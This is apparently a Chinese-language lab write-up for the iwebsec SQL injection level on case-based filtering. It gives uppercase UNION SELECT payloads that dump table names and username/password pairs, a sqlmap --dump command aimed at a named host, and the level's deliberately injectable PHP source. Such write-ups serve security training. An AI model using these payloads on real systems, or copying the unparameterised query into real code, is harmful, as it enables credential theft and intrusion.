iwebsec-sql注入 08 大小写过滤注入

发布时间 2023-08-18 19:25:54作者: 别打扰我摸鱼

01、题目分析

大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可

02、手工注入

?id=-1 UNION SELECT 1,2,3
?id=-1 UNION SELECT 1,2,DATABASE()
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='iwebsec'
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='sqli'
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(CONCAT_WS('~',USERNAME,PASSWORD)) FROM iwebsec.sqli

02、工具注入

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1"  --current-db --dump --batch --tamper "space2comment.py"

image

03、代码分析

<?php
if(isset($_GET['id'])){  // 检查是否存在名为'id'的GET参数
    if (preg_match('/select/', $_GET["id"])) {  // 使用正则表达式检查'id'参数中是否包含"select"关键字
        die("ERROR");  // 如果包含"select"关键字,则输出"ERROR"并终止脚本
    }else{
        $id=$_GET['id'];  // 将'id'参数的值赋给变量$id	
        $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";  // 构建SQL查询语句,根据$id查询'user'表中的数据,限制返回一条记录
        $result=mysql_query($sql);  // 执行SQL查询
    }
}else{
    exit();  // 如果不存在'id'参数,则立即终止脚本的执行
}

if ($result) {  // 如果查询成功
    ?>
    <table class='table table-striped'>  <!-- 输出一个表格元素的开始标签,使用Bootstrap的样式类 -->
    <tr><th>id</th><th>name</th><th>age</th></tr>  <!-- 表格的表头 -->
    <?php
    while ($row = mysql_fetch_assoc($result)) {  // 循环使用mysql_fetch_assoc()函数从结果集中获取一行数据,存储在关联数组$row中
        echo "<tr>";  // 输出表格行的开始标签
        echo "<td>".$row['id']."</td>";  // 输出id列的数据
        echo "<td>".$row['username']."</td>";  // 输出username列的数据
        echo "<td>".$row['password']."</td>";  // 输出password列的数据
        echo "</tr>";  // 输出表格行的结束标签
    }
    echo "</table>";  // 输出表格元素的结束标签
}
else 
{
//  echo '<font color= "#FFFFFF">';  // 输出一个带有颜色的字体标签,颜色为白色
    print_r(mysql_error());  // 输出MySQL数据库的错误信息
//  echo "</font>";  // 输出字体标签的结束标签
}

require_once '../footer.php';  // 引入'footer.php'文件
?>